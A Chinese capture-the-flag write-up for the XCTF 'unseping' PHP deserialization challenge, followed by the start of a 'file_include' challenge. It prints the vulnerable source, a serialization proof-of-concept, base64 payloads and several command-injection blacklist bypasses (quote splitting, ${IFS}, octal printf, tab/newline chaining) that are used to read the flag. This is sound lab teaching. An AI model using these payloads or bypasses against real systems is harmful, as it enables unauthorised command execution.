攻防世界WEB篇
新手练习
unseping
源码分析
<?php
highlight_file(__FILE__); //高亮显示源代码 __FILE__ 魔术方法,总是包含一个绝对路径
class ease{ //定义一个类 ease
private $method; //内部私有函数
private $args;
//__construct()为构造函数,主要用于创建对象时,为对象赋初值,当使用new实例化,会自动调用
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
//__destruct()为析构函数,与构造函数__construct()相反,析构函数只有在对象从内存删除之前自动调用(比如对象所在的函数已经调用完毕)
//当对象结束时触发该函数
function __destruct(){
//in_array()函数搜索数组中是否存在指定的值
//意思是用array创建数组,如果传入的数组中第一个参数method为ping,则执行下面的函数
if (in_array($this->method, array("ping"))) {
//call_user_func_array把第一个参数作为回调函数(callback)调用,把参数数组(param_arr)作为回调函数的参数传入
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
//执行传入的参数,与system()类似,但不输出结果,而是返回结果的最后一行,用第二个参数array可以得到完整的结果
exec($ip, $result);
//返回结果的值和类型,var_dump()函数用于输出变化量的相关信息
var_dump($result);
}
function waf($str){
//preg_match_all函数用于执行一个全局正则表达式匹配
//过滤了很多特殊符号,关键词
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
//魔术方法,将在序列化之后立即被调用
function __wakeup(){
//foreach遍历数组
//两种方法 foreach (array_expression as $value)
//foreach (array_expression as $key => $value)
//将键名赋值给$k
foreach($this->args as $k => $v) {
//将传入的数组放进waf函数中进行过滤
$this->args[$k] = $this->waf($v);
}
}
}
//传入post参数
//@可以屏蔽函数执行过程中遇到问题而产生的错误、警告信息,这样用户就看不到程序出错信息
$ctf=@$_POST['ctf'];
//先进行base64解码再进行反序列化
@unserialize(base64_decode($ctf));
?>
poc编写
<?php
class ease{
private $method;
private $args;
function __construct($method, $args){
$this->method = $method;
$this->args = $args;
}
}
//第二个参数为执行的命令,需要过滤
$a = new ease("ping",array('whoami'));
$b = serialize($a);
echo $b;
echo '<br />';
echo base64_encode($b);
?>
构造payload
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJ3aG9hbWkiO319
放入post执行命令
绕过
黑名单绕过
我们看到过滤的关键词
/(\||&|;| |\/|cat|flag|tac|php|ls)/
因为没有;
所以无法用拼接
可以利用单引号双引号还有反斜杠绕过,比如
l''s
l""s
l\s
就用单引号为例,传入参数
$a = new ease("ping",array("l''s"));
生成的payload是
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ
看一下结果
我们发现了一个flag_1s_here
不知道是文件还是文件夹的,试一试
空格绕过
空格也被过滤掉了,绕过方式有
${IFS}
$IFS$9
< 符号<>
\x0a 换行符 %0a
做一下测试,构造命令
$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));
得到payload
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ
发现这个文件夹内有flag_831b69012c67b35f.php
接下来就是要解决查看这个的问题了
oct进制绕过
可以通过8进制来进行绕过
ls命令
$(printf "\154\163")
我们需要构造的命令参数是
$(printf "cat flag_1s_here/flag_831b69012c67b35f.php")
用python脚本来转换文本
str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr= []
for i in str1:
print(i)
test=oct(ord(i))
test=str(test).replace('0o',"")
arr.append(test)
print(arr)
b="\\"
c=b.join(arr)
print(c)
得到8进制数据
143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160
构造命令参数
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
得到payload
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
最终得到flagcyberpeace{68b063dd26617895262c6bc1b45b588c}
hex进制绕过
还有另外一种绕过方法,因为不能用;
所以可以用\x09
和\x0a
来做命令的拼接
比如查看flag_1s_here
文件夹
$a = new ease("ping",array("cd\x09f\lag_1s_here\x0al\s"));
\x09
用在语句中间,\x0a
用在语句末尾的截断
构造出payload
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMDoiY2QJZlxsYWdfMXNfaGVyZQpsXHMiO319
现在构造读取flag命令参数
$a = new ease("ping",array("cd\x09f\lag_1s_here\x0ac\at\x09f\lag_831b69012c67b35f.p\hp"));
得到payload
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OToiY2QJZlxsYWdfMXNfaGVyZQpjXGF0CWZcbGFnXzgzMWI2OTAxMmM2N2IzNWYucFxocCI7fX0
拿到flag
file_include
源码分析
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>